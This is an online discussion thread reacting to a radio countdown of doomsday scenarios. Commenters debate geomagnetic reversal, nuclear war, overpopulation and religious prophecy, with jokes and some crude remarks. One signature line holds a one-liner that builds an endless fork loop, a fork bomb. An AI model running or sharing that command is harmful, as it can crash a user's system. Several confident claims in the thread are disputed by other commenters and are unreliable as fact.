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This Is the Way the World Ends
Dave Knott writes "The CBC's weekly science radio show Quirks and Quarks this week features a countdown of the top ten planetary doomsday scenarios. Nine science professors and one science fiction author are asked to give (mostly) realistic hypotheses of the ways in which the planet Earth and its inhabitants can be destroyed. These possibilities for mankind's extinction include super-volcanoes, massive gamma ray bursts, and everybody's favorite, the killer asteroid. Perhaps the most terrifying prediction is the reversal of the Earth's magnetic field (combined with untimely solar activity), a periodic event which is currently 1/4 million years overdue."
not a single one of them even considered the possibility of streams getting crossed...for shame!
Monstar L
Wait till I find my r-37, space modulator.
I think I just cashed out all my cool points.
We still have those bombs, remember?
What about that? I think it's still much more likely than the other options listed. It wouldn't end the Earth (nor would for example Gamma burst), but it would end the civilization and/or kill all humans.
--Coder
I always love it when people say these things. Point of fact, we don't have enough data points to make this prediction. At best, that's a wild conjecture.
no interstellar bypass?
Media that can be recorded and distributed can be recorded and distributed.
-kfg
Hey, I finally have an excuse to not RTFA!
LTTFA!
I sincerely hope that we'll be able to set up colonies on other planets or in other solar systems before something snuffs out life on Earth. Our survival as a species will depend on it.
A reversal of the Earth's magnetic field is not overdue, because it was never due. The universe hasn't promised in advance to flip the field every n years without fail. People shouldn't still be anthropomorphizing natural phenomena.
If we can put a man on the moon, why can't we shoot people for Apollo-related non-sequiturs?
Exit Mundi
The Earth and it's inhabitants are killed by inbreeding, living in one mass trailer park and one massive tornado sweeping it clean.
This is obviously the real ending.
According to the International Earth-Destruction Advisory Board, the current "Earth-Destruction Alert Level" is "RED". Which means that the Earth has been destroyed.
A quote from the FAQ:
----
Anyway, for you deluded fools who think the Earth is still around, take head of this warning:
Obviously it's a little out of date now, 'cause those rascals at CERN managed the job, but still...
I note that the fools from the article don't actually want to destroy the Earth (well maybe one or two of the scenarios might break it apart or something), otherwise they would have come up with some scenarios like:
(Quote and methods from How to destroy the Earth.)
Fools, I'll show them all!
I wank in the shower.
Even the most retarded religious fundamentalist understands that dropping a nuclear bomb on someone who has one, or has a country which has one for a friend, isn't such a bright idea.
No, more likely, the world (or more precisely Humanity, the planet would do better without than with us on it) will slip back to feudalism as cheap energy resources wane, and a sizable portion of the earth population will be destroyed by an ugly, multi-decade, low-level world war fueled by bigotry and poverty.
Paris Hilton decides she wants to take a vacation at the International Space Station, at which point nerds lose the will to live and there's nobody left to invent things that take peoples minds off of having sex which in turn causes our populations to spike followed by us consuming all of the earths vegetation and eventually turning to cannibalism and wiping ourselves out.
Meanwhile the ISS loses power and Paris turns into a popcicle, which is discovered by an alien probe millions of years from now sent to seed a now Mars-like earth with vegetation so they can migrate from their dying planet to a new home and the aliens attempt to clone the Paris-cicle using pieces of their DNA ultimately starting the cycle all over again.
After it all we never do find out how the earth ends, but at least we discover why Paris is so fucking weird.
Wanna fight ? Bend over, stick your head up your ass, and fight for air.
because when the earth's magnetic field reached zero temporily (it doesn't actually reached zero, it becomes chaotic, but let's assume), it stops shielding us from solar radiations, meaning cancers, mutations, and general baking of higher level lifeforms on the planet.
It has happened before, but modern humans weren't there to suffer from it. As for other lifeforms, most of them are a lot tougher than we are.
Perhaps the most terrifying prediction is the reversal of the Earth's magnetic field (combined with untimely solar activity), a periodic event which is currently 1/4 million years overdue.
From the record of paleomagnetism found in spreading ocean floors, the reversals are anything but periodic. Reversals recur, but the interval between reversals can be less than 25 thousand years, or longer than 35 million years. In other words, the intervals between reversals vary in duration by a factor of more than 1000.
The oceanic record is limited to the last 200 million years, at most. It has been extended further back by correlating measurements from continental rocks formed at different times, and relying on models for tectonic drift. This naturally yields inferences with lower confidence and limited time resolution. However, the results suggest that geomagnetic field has occasionally been stable for more than 50 million years at a time.
http://en.wikipedia.org/wiki/Magnetic_reversal
Given that their occurrence is erratic rather than periodic, and that there is no decent model for predicting their occurrence, the assertion that a magnetic reversal is "overdue" is absurd.
The scaremongering that a reversal would lead to "the end of the world" or mass extinctions is equally puerile. Reversals of the geomagnetic field show no particular correlation with extinctions in the past.
Those who can make you believe absurdities can make you commit atrocities. - Voltaire
Some of those events will happen but in very long time (afaik for sun expanding enough will take some millons of years) or have very low odds to happen or even could be impossible according with our current knowledge (alien invasion? had to be the suggestion of the sci-fi writer).
Sometimes a chain of events is more possible than a single event, specially if those single events counts on rogue black holes getting very close to us. Global warming (something with a bit higher probabilities to happen) maybe wont end us alone, but it could trigger more things (mass emigration, spreading of diseases, extintions of some key species, war, etc) that eventually could finish the work.
... by someone who was both scientist and science fiction author, a little dated now perhaps, but still an excellent read:
A Choice of Catastrophes
Andy Warhol got it right / Everybody gets the limelight
Andy Warhol got it wrong / Fifteen minutes is too long.
Soylent Green?
Do you happen to know which data points we have?
Anyway I think it will just be another year 2000 fiasco, lots of worries and then nothing happens.
Sure it may fuck up all satellites and some communication but so what? It's not the end of the world.
Even the most retarded religious fundamentalist understands that dropping a nuclear bomb on someone who has one, or has a country which has one for a friend, isn't such a bright idea.
snip
Even actually been to the middle east ?
Some of the fundamentalists BELIEVE in their god. They don't care if they all die, so long as they go to heaven.
Even the most retarded religious fundamentalist understands that dropping a nuclear bomb on someone who has one, or has a country which has one for a friend, isn't such a bright idea.
For some religious fanatics, it would be a bonus if the other country wiped them out in retaliation, as that would ensure all citizens a free ticket to paradise.
Usually it is not a problem, the people in the top of the hierarchies will tend to be people who are mostly interested in using religion to ensure their own power, and have no hurry to give up earthly delight for paradise. The dangerous time is right after a revolution, where you risk getting people in power who actually believe in the stuff they preach.
Overpopulation will kill us all before anything else...resources like oil and metals will be exhausted in the coming decades! the dramatic changes in the climate caused by human activity, the cutting down of rain forests will cause the populations of third world countries to migrate en mass to Europe and North America, further increasing the fights for the remaining resources...
Also don't forget that 99% of the life on earth has a lower life expectancy and thus faster propagation cycle than us. When an animal dies of cancer after 4 years that has a life expectancy of 6 and is fertile with two, life can go on.
When humans die at age 6 on average, we die out.
We used to have a Bill of Rights. Now, with the rights gone, all we have left is the bill.
No, "we" don't have thousands of ten warhead MIRV missiles (that would require a massive booster). Most MIRV missiles are in the range of two to four warheads, and the US only intends to have just over 2000 operational warheads in the near future (with a handful of two warhead MIRV missiles).
Also from the most recent material I have read the threat of a "nuclear winter" was a gross beat up. We have had multiple volcanic events that discharged more particles into the atmosphere than would happen with optimal usage of warheads to cause a "nuclear winter", and in a normal scenario they wouldn't be used optimally for that scenario.
Additionally long time large increases in radioactivity can not happen. Most fall out from a nuclear attack is gone in weeks, what is left is not enough to destroy life. Something like Chernobyl is far more dangerous to the bio-sphere, and the Chernobyl area is still teeming with life.
Global thermonuclear war is not an extinction level event with even the levels of armament at the peak of the Cold War.
========
CINC, 4th Penguin Legion
Even the most retarded religious fundamentalist understands that dropping a nuclear bomb on someone who has one, or has a country which has one for a friend, isn't such a bright idea.
snip
Even actually been to the middle east ?
Some of the fundamentalists BELIEVE in their god. They don't care if they all die, so long as they go to heaven.
That's just neocon propaganda. In reality the governments of Iran and North Korea are made up of rational people who will always act in their countries' long term best interests despite their rhetoric. They are totally unlike the US government which will screw up and start wars because of the sort term interest of the ruling class and/or a miscalculation and plunge the world into chaos.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
I'm sure you haven't.
Some of the fundamentalists BELIEVE in their god. They don't care if they all die, so long as they go to heaven.
Right. And you know this how? The Saudis are rich enough to have bought all the nukes they wanted (from Pakistan, North Korea, say). And they're as devout as they come. But they haven't sent us all to paradise/hell.
Funny thing, fundamentalist leaders don't sacrifice themselves. And that goes for Muslims as well as Christians and Communists.
The whole nuclear winter thing is a bunch of politics getting mixed up in science. Thus far, there has been no good proof that there's any sort of reality in it. For a decent paper on it have a look at http://www.uow.edu.au/arts/sts/bmartin/pubs/88spp.html he covers some of the background of the politicization of the concept.
As for Sagan himself on the issue, his research seems more speculative rather than concrete. Remember he also predicted that the first Iraq war would lead to global cooling because of the particulate matter generated from the oil fires Saddam threatened to set. Well indeed Saddam did set those fires as he threatened and it had no measurable impact on our climate.
Don't confuse scientists speculating on things with real empiricism. There's lots of interesting ideas and theories, something with mathematical or computer models to back them up. That doesn't mean any of it has a thing to do with reality. That proof is separate.
String theory would be a good example. It is, in fact, not a theory. It makes no testable prediction. It's a neat bit of math and who knows, might even be correct. However at this time all it is is a neat bit of math, a hypothesis on how things might work. It won't even be a theory until they figure out how to make some testable predictions and won't be at all something to hang your hat on until there've been some serious tests of those predictions.
I once read an anecdote, I don't know if this is true, that in the 1700s the British set couples of goats loose in desert islands. The rationale was that castaways who eventually arrived at those islands would have a source of meat and milk. However, when someone visited those islands years later, there wasn't any life at all in the islands, only goat skeletons everywhere. The goats reproduced as long as there was food, and after they had eaten every plant they all died.
One can imagine a similar scenario for humanity. Not that we would eat every plant on earth, but if civilization were destroyed by overpopulation, maybe some plague would kill the survivors. Look at AIDS in Africa to see how lethal is a disease that's left to evolve without control.
Everybody being wiped out is a low-probability scenario, I agree, but not completely impossible.
In reality the governments of Iran and North Korea are made up of rational people who will always act in their countries' long term best interests despite their rhetoric.
What part of North Korea's long term interests are best served by devoting a quarter of the gross domestic product (for comparison, the US spends around 4%) to the military while the population starves to death for lack of food?
They are totally unlike the US government which will screw up and start wars because of the sort term interest of the ruling class and/or a miscalculation and plunge the world into chaos
Are you trolling to trying to be funny? I can't tell.....
I want peace on earth and goodwill toward man.
We are the United States Government! We don't do that sort of thing.
The world population is increasing exponentially. Nothing increases exponentially in a limited environment, so the most likely scenario is that we will simply continue growing our consumption until we run out of the resources which allow the growth. oil, water, energy etc. Then the carrying capacity of the earth will be drastically reduced and with that goes the number of living things. In the final stages of growth humans will displace most other lifeforms which compete for resources.
You could use yeast in a bottle as an example. It grows until all the sugar is consumed, or alcohol level is too high, then it all just dies off.
Our bottle is simply larger.
Deleted
During a simulation, the operators do not receive the blocked popups prompting them to acknowledge the exercise, and upon seeing 'multiple targets' on their inbound radar, they instigate a return strike against the 'enemy'. And so it begins...
That's totally unrealistic. No self-respecting Geek would use a GUI to control nuclear weapons. He'd have a command line interface and some shell scripts to automate the more tedious processes.
I want peace on earth and goodwill toward man.
We are the United States Government! We don't do that sort of thing.
Humans (the genus Homo) *have* experienced, and survived, several polarity reversals in the past: both short terms events as well as major reversals like the Brunhes-Matuyama reversal 0.8 Ma ago. Some of the smaller duration events (like the Mono Lakes, Laschamp and Blake events) happened while Homo sapiens was already around.
In other words, it seems past examples show we really do not have to fear the end of humanity when the earth geomagnetic filed reverses. There is no record of extinctions tied to reversal events.
Ceterum censeo Carthaginem delendam esse
This is unfortunately not true. I have met Christian fundamentalists right here in Alberta Canada who actively promote nuclear war. They honestly believe that a nuclear war is in effect Armageddon and it will bring the second coming where all the righteous will be swept up seconds before the bombs hit.
"Millions of Americans, primarily premillennialist fundamentalist Christians, believe that God has foreordained a global nuclear war as the precursor to the Second Coming of Christ"
http://jhp.sagepub.com/cgi/content/abstract/32/4/92 I stole that quote from here
Almost invariably when people talk about 'how the world ends' they're actually talking about human extinction. Equating the two is the sort of massive species specific ego trip that prevents people from solving the deadly problems they create, and lets them create more daily by allowing them to evade responsibility. In most scenarios the world, if not the majority of the biosphere, will continue in a more or less normal fashion. Even is such as the planetary collision that created the moon, some parts of the biosphere survived and repopulated the planet. After most of the scenarios the Earth will continue with very little evidence remaining of the very intense but very brief infection of its surface. We might fare better if we took our example from rhinovirus rather than Ebola. Killing your host is not beneficial to survival.
There's a bit in the new version of 'The Day The Earth Stood Still' that illustrates this problem in human thinking. When asked why he came to "our planet", Klaatu responds incredulously "YOUR planet?"
The Judeo-Christian argument that 'God gave man dominion over all the animals and plants' makes the same mistake (and is probably to origin of this broken thinking). It is often taken to assume that "dominion" means 'permission to use and abuse at will without repercussion' instead of the more accurate "control or exercise of control; sovereignty". The latter implies responsibility for the outcome due to application of control. No rights exist without a concominant duty. The right to live on this planet requires exercise of the duty to preserve it, at the very least by not using more than the fair share of resources. Argue against it with words all you like, Nature will respond by evolving the biosphere to include or exclude us without saying a word, or listening to our assertions of dominance or pleas for mercy. I'm betting this will be the primary message of TDTESS, with Klaatu standing in for Nature (though I'm betting he ends up cutting us some slack).
200 years ago Thomas Malthus estimated the sustainable carrying capacity of the human environment to be two and a third billion persons. I haven't seen a convincing argument with a significantly greater estimate that doesn't mistake technology as it is currently practiced (ie. non-renewable) for sustainability. We're less than 1.5 years from having 3 times Malthus's estimate.
Not with a bang, but with a whimper,
and a gag and a cough and a choke,
and pandemics and starvation,
and "natural" disasters of our own making,
and the oxymoronic "wars for survival" for dessert.
"I may be synthetic, but I'm not stupid." -- Bishop 341-B
USA's war against terrorism triggers world war 3 and the revenge-thirst of both sides cause the whole planet to be destroyed by nuclear weapons.
My other account has a 3-digit UID.
Or at least so the claim is...
The model code is PU-36.
http://www.tvacres.com/weapons_ammunition_uranium.htm
"When information is power, privacy is freedom" - Jah-Wren Ryel
I would vote for the LHC, cuz I saw this totally scary video on Youtube that explained how the LHC was going to create a doorway for Satan. Seriously.
And hey, if you're going to include a science fiction, why not include a couple biblical/religious predictions? I for one, welcome our 6-winged Seraphim overlords...
Now that I think about it, I'm pretty sure everything I just said is completely wrong.
I was going to post an exerpt, but /. destroys my formatting.
http://poetry.poetryx.com/poems/784/
For the world to truly end, as in no more planet Earth, scenario 4 is most probable in the near term and scenario 1 inescapable in the long run. If you are defining âoeend of the worldâ as in a major extinction event, with Homo sapiens in a staring roll, then there are a bunch of options. The ones suspected of causing or contributing to major extinction events in the past are outlined in chapter six of my book, The Resilient Earth (shameless plug). Here are the main ones from the book.
Our planet's past is filled with extinctions,some large, some small, some solitary. All the ages in the fossil record chronicle the departure of species from this Earth. The sweep of geologic time, comprising more than 90 recognized time periods, is partitioned by changes in the fossil record. What is most amazing is how gigantic an event has to be to be recorded in the strata. Visit theresilientearth.com for more information including pdfs of the book chapters and a link to Amazon for purchase of the paperback version.
Actually that reminds me of the book Beggars Ride, by Nancy Kress. Disappointing compared to the previous in the series, but interesting.
No it isn't.
The rate of growth has been slowing for decades. It's not only sub-exponential, it's been sub-linear for 20 years - the world's population was growing at 83M/yr in the 80s, and will end this decade with an average growth of less than 80M/yr, despite a larger population.
Why do you believe that's the most likely outcome? Entire nations have behaved in exactly the opposite manner as you suggest they would; for example, Germany's energy consumption hasn't changed in 20 years, despite a strong economy and substantial population growth. Now that the population of the country is shrinking, its overall energy consumption will most likely also fall.
It is an enormous and fallacious oversimplification to suggest that humans are the same as yeast, for both theoretical reasons (we're able to reason about our situation) and evidential ones (e.g., Germany).
Geomagnetic field reversals are perhaps "periodic" in the sense that they happen repeatedly over time, but they aren't particularly regular; they have been known to be erratic since the 1960s. The last reversal was ~780Kya, so the contention here seems based on the assumption of a regular ~500Ky pattern. There is no reasonable basis for this assumption, as the past history of reversals has been nowhere near a regular pattern with a 500,000 year cycle.
Has anyone else heard such a thing? Or is the local evangelical pastor mixing up his Mayan and Biblical eschatologies?
Possibly. Most people, particularly bible-thumpers, have a problem with rational thinking in general. I am a Christian and I believe in "prophecy" but I know the difference between my faith and my "provable knowledge," and more importantly I know the difference between what our faith really teaches and what the "conventional wisdom" might be.
In other words, and to answer your question, there are several ways to get to 2012 in Christian eschatology. Most of this stems from the "rebirth of Israel" in 1949 and some things Christ said about His return which puts us within a decade or so of some events that will supposedly take 7 years to complete, significant milestones midway, and depending on certain calculations involving the Passover, you can get there. There is no formal connection to the Maya, but I doubt anyone who believes this would listen to you. Once you've heard a pastor talk about how many letters are in the 'Reagan,' UPC barcodes, or that Obama is going to lead a Muslim revolution, you tune out. A Christian business owner I know of once even switched from Unix to Windows because he watched a consultant type 'chmod 666.'
As soon as a Christian begins listening to their local 'inspired' pastor, watching the Discovery/History channel, reading Bible Codes, the "Left Behind" series, and throwing out logic and reason and indulging in magical thinking in general, all hope is lost for them making any sense. I don't know about your inlaws, but the 2012 stuff seems to fall into this category for me.
There IS a "star" that falls in the Revelation to John. It does "poison the waters" and it is called "wormwood." I don't really know what all that means, but it is clear that it is NOT the "end of the world" and there is absolutely NO reason to assume that it will happen in our lifetimes, or in 2012 for that matter. People who say things like that have abandoned reason, which is (according to Wesley) one of the four key paths to working out your personal theology.
Which is NOT to say that believing these (or some of these) prophecies are true is necessarily irrational. If you KNOW you don't have scientific or empirical proof, YET you still believe that God exists and that he spoke to one of us through a dream/hallucination/vision 2000 years ago, AND you find it consistent with other prophecies (Ezekiel, Isaiah) and things that Christ is supposed to have said, that is perfectly sound reasoning. You may be completely wrong in the end, but there is no logical error here. There are risks with assigning probabilities without all the facts, but hey, that's induction. And being human.
When presented with a choice and there is no proof either way (such as 'is there a God') you can either ignore the question, or make your best, inductive guess. Either position is reasonable.
Contrary to popular opinion around here, religious or philosophical beliefs are not necessarily irrational in themselves. Most of my "religious" beliefs are clearly conclusions I've come to WITHOUT conclusive evidence or proof. Knowing - and acknowledging - this is key. Most inductive reasoning (not mathematical induction) is the same, and is not necessarily illogical or without value. Logic and reason are not orthogonal to faith in a creator, or even a savior. Bible codes, Intelligent Design, "bibliolatry", and the circular reasoning rampant in religion (and of all faiths) are all very much mutually exclusive to sound reason.
Personally, I find the Judeo-Christian prophetic tradition to be very interesting, and required reading if you want to understand the faith(s). The book of Daniel is amazing to me (though technically not a prophecy) and is so amazing the writing has been dated to much later than traditionally held because, in part... it "predicts" the future... and that's impossible.
Let the reader decide.
Prophecy doesn't "predict"
Significant numbers of humans (say, 99%) dying would just bring us to the same global population level as during Roman Empire. Horrible, but not even close to extinction.